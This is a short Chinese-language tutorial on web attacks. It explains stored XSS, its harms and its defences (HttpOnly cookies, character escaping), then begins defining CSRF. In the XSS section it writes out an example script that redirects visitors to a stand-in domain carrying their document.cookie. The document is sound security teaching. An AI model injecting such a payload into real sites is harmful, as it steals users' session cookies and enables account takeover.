Web攻击技术

1.跨站脚本攻击（XSS）
跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和JavaScript。

攻击原理

• 例如有一个论坛网站，攻击者可以在上面发布以下内容：
  • 　　<script>location.href="//domain.com/?c=" + document.cookie</script>
• 之后该内容可能会被渲染成以下形式：
  • 　　<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
• 另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站
• 通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。

危害

• 窃取用户的 Cookie
• 伪造虚假的输入表单骗取个人信息
• 显示伪造的文章或者图片

防范手段

• 1. 设置 Cookie 为 HttpOnly
  • 　　设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用，就无法通过 document.cookie 获取用户 Cookie 信息。
• 2. 过滤特殊字符
  • 　　例如将 < 转义为 &lt; ，将 > 转义为 &gt; ，从而避免 HTML 和 Jascript 代码的运行。

2.跨站请求伪造（CSRF）

跨站请求伪造（Cross-site request forgery，CSRF），是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。
XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户浏览器的信任。